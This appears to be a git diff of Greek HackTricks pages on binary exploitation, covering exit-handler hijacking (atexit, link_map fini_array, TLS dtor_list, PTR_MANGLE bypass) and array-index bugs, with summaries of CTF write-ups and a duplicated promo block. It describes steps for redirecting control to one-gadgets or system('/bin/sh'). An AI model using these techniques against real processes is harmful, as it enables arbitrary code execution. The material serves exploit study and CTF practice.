Σημείωσε ότι με το [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** η ενότητα **`.fini_array`** γίνεται **μόνο για ανάγνωση**.
Σε νεότερες εκδόσεις, ακόμη και με [**Partial RELRO**] η ενότητα **`.fini_array`** γίνεται **μόνο για ανάγνωση** επίσης.
{% endhint %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# WWW2Exec - atexit(), TLS Storage & Άλλοι μπερδεμένοι Δείκτες
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% endhint %}
## **Δομές \_\_atexit**
{% hint style="danger" %}
Σήμερα είναι πολύ **παράξενο να εκμεταλλευτείτε αυτό!**
Σήμερα είναι πολύ **παράξενο να εκμεταλλεύεστε αυτό!**
{% endhint %}
Το **`atexit()`** είναι μια συνάρτηση στην οποία **περνιούνται άλλες συναρτήσεις ως παράμετροι.** Αυτές οι **συναρτήσεις** θα **εκτελεστούν** κατά την εκτέλεση μιας **`exit()`** ή την **επιστροφή** του **κύριου** προγράμματος.\
Το **`atexit()`** είναι μια συνάρτηση στην οποία **άλλες συναρτήσεις περνιούνται ως παράμετροι.** Αυτές οι **συναρτήσεις** θα **εκτελεστούν** κατά την εκτέλεση μιας **`exit()`** ή την **επιστροφή** του **κύριου** προγράμματος.\
Αν μπορείτε να **τροποποιήσετε** τη **διεύθυνση** οποιασδήποτε από αυτές τις **συναρτήσεις** ώστε να δείχνει σε ένα shellcode για παράδειγμα, τότε θα **κερδίσετε έλεγχο** της **διεργασίας**, αλλά αυτό είναι προς το παρόν πιο περίπλοκο.\
Προς το παρόν οι **διευθύνσεις των συναρτήσεων** που πρόκειται να εκτελεστούν είναι **κρυμμένες** πίσω από αρκετές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με ένα **τυχαίο κλειδί**. Έτσι αυτός ο διανυσματικός επιθετικός δεν είναι πολύ χρήσιμος τουλάχιστον σε x86 και x64\_86.\
Η **συνάρτηση κρυπτογράφησης** είναι **`PTR_MANGLE`**. **Άλλες αρχιτεκτονικές** όπως m68k, mips32, mips64, aarch64, arm, hppa... **δεν υλοποιούν τη συνάρτηση κρυπτογράφησης** επειδή **επιστρέφουν το ίδιο** με αυτό που λαμβάνουν ως είσοδο. Έτσι αυτές οι αρχιτεκτονικές θα μπορούσαν να είναι επιθέσιμες από αυτό το διάνυσμα.
Προς το παρόν οι **διευθύνσεις των συναρτήσεων** που πρόκειται να εκτελεστούν είναι **κρυμμένες** πίσω από αρκετές δομές και τελικά η διεύθυνση στην οποία δείχνει δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με ένα **τυχαίο κλειδί**. Έτσι αυτός ο διανυσματικός επιθετικός δεν είναι πολύ χρήσιμος τουλάχιστον σε x86 και x64\_86.\
Η **συνάρτηση κρυπτογράφησης** είναι **`PTR_MANGLE`**. **Άλλες αρχιτεκτονικές** όπως m68k, mips32, mips64, aarch64, arm, hppa... **δεν υλοποιούν τη συνάρτηση κρυπτογράφησης** επειδή **επιστρέφουν το ίδιο** με αυτό που λαμβάνουν ως είσοδο. Έτσι αυτές οι αρχιτεκτονικές θα μπορούσαν να είναι επιθετικές με αυτό το διάνυσμα.
Μπορείτε να βρείτε μια λεπτομερή εξήγηση για το πώς λειτουργεί αυτό στο [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link\_map
Όπως εξηγείται [**σε αυτήν την ανάρτηση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Αν το πρόγραμμα τερματίσει χρησιμοποιώντας `return` ή `exit()` θα εκτελέσει το `__run_exit_handlers()` το οποίο θα καλέσει τους εγγεγραμμένους καταστροφείς.
Όπως εξηγείται [**σε αυτήν την ανάρτηση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Αν το πρόγραμμα εξέρχεται χρησιμοποιώντας `return` ή `exit()` θα εκτελέσει το `__run_exit_handlers()` το οποίο θα καλέσει τους εγγεγραμμένους καταστροφείς.
{% hint style="danger" %}
Αν το πρόγραμμα τερματίσει μέσω της **συνάρτησης `_exit()`**, θα καλέσει τη **κλήση συστήματος `exit`** και οι χειριστές τερματισμού δεν θα εκτελεστούν. Έτσι, για να επιβεβαιώσετε ότι το `__run_exit_handlers()` εκτελείται μπορείτε να ορίσετε ένα σημείο διακοπής σε αυτό.
Αν το πρόγραμμα εξέρχεται μέσω της **συνάρτησης `_exit()`**, θα καλέσει τη **κλήση συστήματος `exit`** και οι χειριστές εξόδου δεν θα εκτελεστούν. Έτσι, για να επιβεβαιώσετε ότι το `__run_exit_handlers()` εκτελείται μπορείτε να ορίσετε ένα σημείο ανακοπής σε αυτό.
{% endhint %}
Ο σημαντικός κώδικας είναι ([πηγή](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
@ -58,14 +59,14 @@ Elf64_Xword d_val; // address of function that will be called, we put our onegad
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Σημειώστε πώς το `map -> l_addr + fini_array -> d_un.d_ptr` χρησιμοποιείται για να **υπολογίσει** τη θέση του **πίνακα συναρτήσεων προς κλήση**.
Σημειώστε πώς `map -> l_addr + fini_array -> d_un.d_ptr` χρησιμοποιείται για να **υπολογιστεί** η θέση του **πίνακα συναρτήσεων προς κλήση**.
Υπάρχουν μερικές **επιλογές**:
* Αντικαταστήστε την τιμή του `map->l_addr` για να δείχνει σε ένα **ψεύτικο `fini_array`** με οδηγίες για να εκτελείται αυθαίρετος κώδικας
* Αντικαταστήστε τις καταχωρήσεις `l_info[DT_FINI_ARRAY]` και `l_info[DT_FINI_ARRAYSZ]` (που είναι περίπου διαδοχικές στη μνήμη), για να κάνετε τις **δείκτες να δείχνουν σε μια πλαστή δομή `Elf64_Dyn`** που θα κάνει ξανά το **`array` να δείχνει σε μια ζώνη μνήμης** που ελέγχεται από τον επιτιθέμενο.&#x20;
* [**Αυτή η ανάλυση**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) αντικαθιστά το `l_info[DT_FINI_ARRAY]` με τη διεύθυνση μιας ελεγχόμενης μνήμης στο `.bss` που περιέχει ένα ψεύτικο `fini_array`. Αυτός ο ψεύτικος πίνακας περιέχει **πρώτα μια** [**διεύθυνση one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **που θα εκτελεστεί** και στη συνέχεια τη **διαφορά** μεταξύ της διεύθυνσης αυτού του **ψεύτικου πίνακα** και της τιμής του `map->l_addr` έτσι ώστε το `*array` να δείχνει στο ψεύτικο πίνακα.
* Σύμφωνα με την κύρια ανάρτηση αυτής της τεχνικής και [**αυτή την ανάλυση**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) το ld.so αφήνει ένα δείκτη στη στοίβα που δείχνει στο δυαδικό `link_map` στο ld.so. Με ένα αυθαίρετο γράψιμο είναι δυνατόν να το αντικαταστήσετε και να το κάνετε να δείχνει σε ένα ψεύτικο `fini_array` που ελέγχεται από τον επιτιθέμενο με τη διεύθυνση ενός [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) για παράδειγμα.
* Αντικαταστήστε την τιμή του `map->l_addr` ώστε να δείχνει σε ένα **ψεύτικο `fini_array`** με οδηγίες για την εκτέλεση αυθαίρετου κώδικα
* Αντικαταστήστε τις καταχωρήσεις `l_info[DT_FINI_ARRAY]` και `l_info[DT_FINI_ARRAYSZ]` (που είναι περίπου διαδοχικές στη μνήμη), ώστε να κάνουν **δείχνουν σε μια πλαστή δομή `Elf64_Dyn`** που θα κάνει ξανά το **`array` να δείχνει σε μια ζώνη μνήμης** που ελέγχεται από τον επιτιθέμενο.&#x20;
* [**Αυτή η ανάλυση**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) αντικαθιστά το `l_info[DT_FINI_ARRAY]` με τη διεύθυνση μιας ελεγχόμενης μνήμης στο `.bss` που περιέχει ένα ψεύτικο `fini_array`. Αυτός ο ψεύτικος πίνακας περιέχει **πρώτα μια** [**διεύθυνση one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) που θα εκτελεστεί και στη συνέχεια τη **διαφορά** μεταξύ της διεύθυνσης αυτού του **ψεύτικου πίνακα** και της τιμής του `map->l_addr` έτσι ώστε το `*array` να δείχνει στο ψεύτικο πίνακα.
* Σύμφωνα με την κύρια ανάρτηση αυτής της τεχνικής και [**αυτή την ανάλυση**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) το ld.so αφήνει ένα δείκτη στη στοίβα που δείχνει στο δυαδικό `link_map` στο ld.so. Με ένα αυθαίρετο γράψιμο είναι δυνατό να το αντικαταστήσετε και να το κάνετε να δείχνει σε ένα ψεύτικο `fini_array` που ελέγχεται από τον επιτιθέμενο με τη διεύθυνση ενός [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) για παράδειγμα.
Ακολουθώντας τον προηγούμενο κώδικα μπορείτε να βρείτε μια άλλη ενδιαφέρουσα ενότητα με τον κώδικα:
```c
@ -129,16 +130,16 @@ func (cur->obj);
```
Για κάθε εγγεγραμμένη λειτουργία στο **`tls_dtor_list`**, θα αποκωδικοποιήσει το δείκτη από το **`cur->func`** και θα το καλέσει με το όρισμα **`cur->obj`**.
Χρησιμοποιώντας τη λειτουργία **`tls`** από αυτό το [**fork του GEF**](https://github.com/bata24/gef), είναι δυνατό να δούμε ότι πραγματικά η **`dtor_list`** είναι πολύ **κοντά** στο **stack canary** και το **PTR\_MANGLE cookie**. Έτσι, με ένα υπερχείλιση σε αυτό θα ήταν δυνατό να **αντικατασταθεί** το **cookie** και το **stack canary**.\
Αν αντικατασταθεί το PTR\_MANGLE cookie, θα ήταν δυνατό να **παρακάμψει η λειτουργία `PTR_DEMANLE`** με το να τεθεί σε 0x00, πράγμα που σημαίνει ότι το **`xor`** που χρησιμοποιείται για να λάβει την πραγματική διεύθυνση είναι απλά η διεύθυνση που έχει ρυθμιστεί. Έπειτα, γράφοντας στο **`dtor_list`** είναι δυνατό να **αλυσιδωθούν αρκετές λειτουργίες** με τη διεύθυνση της λειτουργίας και το **όρισμά** της.
Χρησιμοποιώντας τη λειτουργία **`tls`** από αυτό το [**fork του GEF**](https://github.com/bata24/gef), είναι δυνατό να δούμε ότι πραγματικά η λίστα **`dtor_list`** είναι πολύ **κοντά** στο **stack canary** και το **PTR\_MANGLE cookie**. Έτσι, με ένα υπερχείλιση σε αυτό θα ήταν δυνατό να **αντικατασταθεί** το **cookie** και το **stack canary**.\
Αν αντικατασταθεί το PTR\_MANGLE cookie, θα ήταν δυνατό να **παρακάμψει τη λειτουργία `PTR_DEMANLE`** με το να το ορίσει σε 0x00, πράγμα που σημαίνει ότι το **`xor`** που χρησιμοποιείται για να πάρει την πραγματική διεύθυνση είναι ακριβώς η διεύθυνση που έχει ρυθμιστεί. Έπειτα, γράφοντας στη **`dtor_list`** είναι δυνατό να **αλυσιδωθούν αρκετές λειτουργίες** με τη διεύθυνση της λειτουργίας και το **όρισμά** της.
Τέλος, παρατηρήστε ότι ο αποθηκευμένος δείκτης δεν θα υποστεί μόνο XOR με το cookie αλλά θα περιστραφεί κατά 17 bits:
Τέλος, παρατηρήστε ότι ο αποθηκευμένος δείκτης όχι μόνο θα γίνει **xor** με το cookie αλλά θα περιστραφεί και κατά 17 bits:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
Έτσι πρέπει να λάβετε υπόψη πριν προσθέσετε μια νέα διεύθυνση.
Έτσι πρέπει να λάβετε υπόψη αυτό πριν προσθέσετε μια νέα διεύθυνση.
Βρείτε ένα παράδειγμα στην [**αρχική δημοσίευση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
@ -146,7 +147,7 @@ func (cur->obj);
Αυτή η τεχνική εξηγείται [**εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) και εξαρτάται ξανά από το πρόγραμμα **που τερματίζει καλώντας `return` ή `exit()`** έτσι ώστε να κληθεί το **`__run_exit_handlers()`**.
Ας ελέγξουμε περισσότερο κώδικα αυτής της λειτουργίας:
Ας ελέγξουμε περισσότερο κώδικα αυτής της συνάρτησης:
```c
while (true)
{
@ -228,11 +229,11 @@ free (cur);
__libc_lock_unlock (__exit_funcs_lock);
```
Η μεταβλητή `f` δείχνει στη δομή **`initial`** και ανάλογα με την τιμή του `f->flavor` θα κληθούν διαφορετικές συναρτήσεις.\
Ανάλογα με την τιμή, η διεύθυνση της συνάρτησης που θα κληθεί θα βρίσκεται σε διαφορετικό μέρος, αλλά θα είναι πάντα **αποκωδικοποιημένη**.
Ανάλογα με την τιμή, η διεύθυνση της συνάρτησης που θα κληθεί θα βρίσκεται σε διαφορετική θέση, αλλά θα είναι πάντα **αποκωδικοποιημένη**.
Επιπλέον, στις επιλογές **`ef_on`** και **`ef_cxa`** είναι επίσης δυνατόν να ελέγξετε ένα **όρισμα**.
Επιπλέον, στις επιλογές **`ef_on`** και **`ef_cxa`** είναι επίσης δυνατό να ελέγξετε ένα **όρισμα**.
Είναι δυνατόν να ελέγξετε τη δομή **`initial`** σε μια συνεδρία εντοπισμού σφαλμάτων με το GEF τρέχοντας **`gef> p initial`**.
Είναι δυνατό να ελέγξετε τη δομή **`initial`** σε μια συνεδρία εντοπισμού σφαλμάτων με το GEF τρέχοντας **`gef> p initial`**.
Για να εκμεταλλευτείτε αυτό, πρέπει είτε να **διαρρεύσετε είτε να διαγράψετε το `PTR_MANGLE` cookie** και στη συνέχεια να αντικαταστήσετε μια εγγραφή `cxa` στο initial με `system('/bin/sh')`.\
Για να εκμεταλλευτείτε αυτό, πρέπει είτε να **διαρρεύσετε ή να διαγράψετε το `PTR_MANGLE` cookie** και στη συνέχεια να αντικαταστήσετε μια εγγραφή `cxa` στο initial με `system('/bin/sh')`.\
Μπορείτε να βρείτε ένα παράδειγμα αυτού στην [**αρχική ανάρτηση στο blog σχετικά με την τεχνική**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).

View file

@ -1,30 +1,31 @@
# Ευρετήριο Πίνακα
# Δείκτες Πίνακα
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
Αυτή η κατηγορία περιλαμβάνει όλες τις ευπάθειες που συμβαίνουν επειδή είναι δυνατόν να αντικατασταθεί συγκεκριμένα δεδομένα μέσω σφαλμάτων στην χειρισμό των δεικτών σε πίνακες. Είναι μια πολύ ευρεία κατηγορία χωρίς συγκεκριμένη μεθοδολογία καθώς ο μηχανισμός εκμετάλλευσης εξαρτάται πλήρως από τις συνθήκες της ευπάθειας.
Αυτή η κατηγορία περιλαμβάνει όλες τις ευπάθειες που συμβαίνουν επειδή είναι δυνατόν να αντικατασταθεί συγκεκριμένα δεδομένα μέσω σφαλμάτων στην χειρισμό των δεικτών σε πίνακες. Είναι μια πολύ ευρεία κατηγορία χωρίς συγκεκριμένη μεθοδολογία, καθώς ο μηχανισμός εκμετάλλευσης εξαρτάται πλήρως από τις συνθήκες της ευπάθειας.
Ωστόσο, εδώ μπορείτε να βρείτε μερικά ωραία **παραδείγματα**:
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
* Υπάρχουν **2 συγκρουόμενοι πίνακες**, ένας για τις **διευθύνσεις** όπου αποθηκεύονται τα δεδομένα και ένας με τις **διαστάσεις** αυτών των δεδομένων. Είναι δυνατό να αντικατασταθεί ένας από τον άλλο, επιτρέποντας την εγγραφή μιας αυθαίρετης διεύθυνσης που την δείχνει ως μέγεθος. Αυτό επιτρέπει την εγγραφή της διεύθυνσης της συνάρτησης `free` στον πίνακα GOT και στη συνέχεια την αντικατάστασή της με τη διεύθυνση του `system`, και την κλήση της free από μνήμη με `/bin/sh`.
* Υπάρχουν **2 συγκρουόμενοι πίνακες**, ένας για τις **διευθύνσεις** όπου αποθηκεύονται τα δεδομένα και ένας με τις **διαστάσεις** αυτών των δεδομένων. Είναι δυνατόν να αντικατασταθεί ένας από τον άλλο, επιτρέποντας την εγγραφή μιας αυθαίρετης διεύθυνσης δείχνοντάς την ως μέγεθος. Αυτό επιτρέπει την εγγραφή της διεύθυνσης της συνάρτησης `free` στον πίνακα GOT και στη συνέχεια την αντικατάστασή της με τη διεύθυνση του `system`, και την κλήση της free από μνήμη με `/bin/sh`.
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
* 64 bits, χωρίς nx. Αντικατάσταση μιας διάστασης για να πάρετε ένα είδος υπερχείλισης buffer όπου κάθε πράγμα θα χρησιμοποιηθεί ως διπλός αριθμός και θα ταξινομηθεί από τον μικρότερο στον μεγαλύτερο, επομένως είναι απαραίτητο να δημιουργηθεί ένα shellcode που πληροί αυτήν την απαίτηση, λαμβάνοντας υπόψη ότι το canary δεν πρέπει να μετακινηθεί από τη θέση του και τελικά να αντικατασταθεί το RIP με μια διεύθυνση προς ret, που πληροί τις προηγούμενες απαιτήσεις και τοποθετώντας τη μεγαλύτερη διεύθυνση μια νέα διεύθυνση που δείχνει στην αρχή του stack (διαρροή από το πρόγραμμα) έτσι ώστε να είναι δυνατή η χρήση του ret για να μεταβεί εκεί.
* 64 bits, χωρίς nx. Αντικαταστήστε μια διάσταση για να πάρετε ένα είδος υπερχείλισης buffer όπου όλα θα χρησιμοποιηθούν ως διπλός αριθμός και θα ταξινομηθούν από τον μικρότερο στον μεγαλύτερο, επομένως είναι απαραίτητο να δημιουργηθεί ένα shellcode που να πληροί αυτήν την απαίτηση, λαμβάνοντας υπόψη ότι το canary δεν πρέπει να μετακινηθεί από τη θέση του και τελικά να αντικατασταθεί το RIP με μια διεύθυνση προς ret, που να πληροί τις προηγούμενες απαιτήσεις και να τοποθετηθεί η μεγαλύτερη διεύθυνση μιας νέας διεύθυνσης που να δείχνει στην αρχή του stack (διαρρεύτηκε από το πρόγραμμα) έτσι ώστε να είναι δυνατή η χρήση του ret για να μεταβεί εκεί.
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
* 64bits, χωρίς relro, canary, nx, χωρίς pie. Υπάρχει ένα off-by-one σε έναν πίνακα στη στοίβα που επιτρέπει τον έλεγχο ενός δείκτη που χορηγεί WWW (γράφει το άθροισμα όλων των αριθμών του πίνακα στην αντικατασταθείσα διεύθυνση από το off-by-one στον πίνακα). Η στοίβα ελέγχεται έτσι ώστε η διεύθυνση `exit` του GOT να αντικατασταθεί με `pop rdi; ret`, και στη στοίβα προστίθεται η διεύθυνση του `main` (επαναλαμβάνοντας στο `main`). Χρησιμοποιείται μια αλυσίδα ROP για να διαρρεύσει η διεύθυνση του put στο GOT χρησιμοποιώντας το puts (`exit` θα κληθεί έτσι θα καλέσει `pop rdi; ret` εκτελώντας έτσι αυτήν την αλυσίδα στη στοίβα). Τέλος χρησιμοποιείται μια νέα αλυσίδα ROP που εκτελεί ret2lib.
* 64bits, χωρίς relro, canary, nx, χωρίς pie. Υπάρχει ένα off-by-one σε έναν πίνακα στη στοίβα που επιτρέπει τον έλεγχο ενός δείκτη που χορηγεί WWW (γράφει το άθροισμα όλων των αριθμών του πίνακα στην αντικατασταθείσα διεύθυνση από το off-by-one στον πίνακα). Η στοίβα ελέγχεται έτσι ώστε η διεύθυνση `exit` του GOT να αντικατασταθεί με `pop rdi; ret`, και στη στοίβα προστίθεται η διεύθυνση του `main` (επαναλαμβάνοντας στο `main`). Χρησιμοποιείται μια ROP αλυσίδα για να διαρρεύσει η διεύθυνση που έχει τοποθετηθεί στο GOT χρησιμοποιώντας την puts (`exit` θα κληθεί έτσι θα καλέσει `pop rdi; ret` εκτελώντας έτσι αυτήν την αλυσίδα στη στοίβα). Τέλος χρησιμοποιείται μια νέα ROP αλυσίδα εκτελώντας ret2lib.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bit, χωρίς relro, χωρίς canary, nx, pie. Εκμεταλλευτείτε ένα κακό δείκτη για να διαρρεύσετε διευθύνσεις της libc και της στοίβας από τη στοίβα. Εκμεταλλευτείτε την υπερχείλιση του buffer για να κάνετε ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της στοίβας χρειάζεται για να παρακάμψει έναν έλεγχο).
* 32 bit, χωρίς relro, χωρίς canary, nx, pie. Εκμεταλλευτείτε έναν κακό δείκτη για να διαρρεύσετε διευθύνσεις της libc και της στοίβας από τη στοίβα. Εκμεταλλευτείτε την υπερχείλιση του buffer για να κάνετε ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της στοίβας χρειάζεται για να παρακάμψει έναν έλεγχο).

View file

@ -1,22 +1,23 @@
# Βασική Μεθοδολογία Εκμετάλλευσης Δυαδικών Αρχείων
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
